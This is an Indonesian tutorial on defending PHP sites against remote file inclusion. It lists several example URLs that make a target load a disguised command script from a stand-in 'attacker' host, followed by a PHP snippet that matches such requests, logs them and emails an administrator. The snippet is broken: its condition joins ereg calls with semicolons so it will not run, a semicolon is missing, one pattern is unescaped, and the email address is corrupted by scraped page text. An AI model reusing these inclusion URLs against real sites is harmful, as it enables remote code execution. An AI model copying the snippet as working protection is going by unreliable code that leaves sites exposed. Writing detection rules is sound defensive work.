Mengamankan PHP Injection

Teknik-teknik PHP Injection yang sering digunakan oleh attacker :
1. www.target.com/main.php?r=http://attacker/cmd.jpg?&cmd=
2. www.target.com/main.php?r=http://attacker/cmd.gif&cmd=
3. www.target.com/main.php?r=http://attacker/cmd.txt&cmd=
4. www.target.com/main.php?r=http://attacker/cmd.txt&cmd=
5. www.target.com/main.php?r=http://attacker/cmd.jpg?cmd=
dengan melihat url tersebut kita dapat mengambil kesimpulan bahwa :
1. attacker menyimpan script inject dalam bentuk extension jpg, gif, dan txt
2. attacker menggunakan variabel cmd untuk injection
3. attacker menggunakan beberapa kombinasi penghubung
Berdasarkan hal tersebut kita dapat membuat sebuah script sederhana untuk mensanitasi bentuk url yang dicurigai sebagai bentuk PHP Injection, serta melakukan logging terhadap aktifitas dari attacker.

Taruh script ini pada file konfigurasi aplikasi kita. (modifikasi script/referensi dari internet via uncle google)
if (
ereg('gif\?cmd',$_SERVER['REQUEST_URI']) ;
ereg('gif&cmd',$_SERVER['REQUEST_URI']) ;
ereg('jpg\?cmd',$_SERVER['REQUEST_URI']) ;
ereg('jpg&cmd',$_SERVER['REQUEST_URI']);
ereg('txt?cmd',$_SERVER['REQUEST_URI']);
ereg('txt&cmd',$_SERVER['REQUEST_URI']);
ereg('gif\?',$_SERVER['REQUEST_URI']);
ereg('gif&',$_SERVER['REQUEST_URI']);
ereg('jpg\?',$_SERVER['REQUEST_URI']);
ereg('jpg&',$_SERVER['REQUEST_URI']);
ereg('txt?',$_SERVER['REQUEST_URI']);
ereg('txt&',$_SERVER['REQUEST_URI']);
)
{
// bagian untuk mencatat aktifitas hacking
// dan mengirimkan email pada administrator
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("m/d/Y g:i:s a");
$referer = $_SERVER['HTTP_REFERER'];
$uri = $_SERVER['REQUEST_URI']
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$uri."\n");
fclose($fl);
$msg = "Terdapat percobaan hacking pada server ".$_SERVER['REMOTE_ADDR']."
mencoba untuk mengeksekusi ".$_SERVER['REQUEST_URI'];
mail(' anstellwinkel@yahoo.com.auAlamat Email inidilindungi dari bot spam, Anda Harus Mengaktifkan Javascript Untuk Melihatnya ' ,'Percobaan hacking pada '.$_SERVER['REQUEST_URI'],$msg);
die('Silahkan hentikan percobaan anda!');
}
?>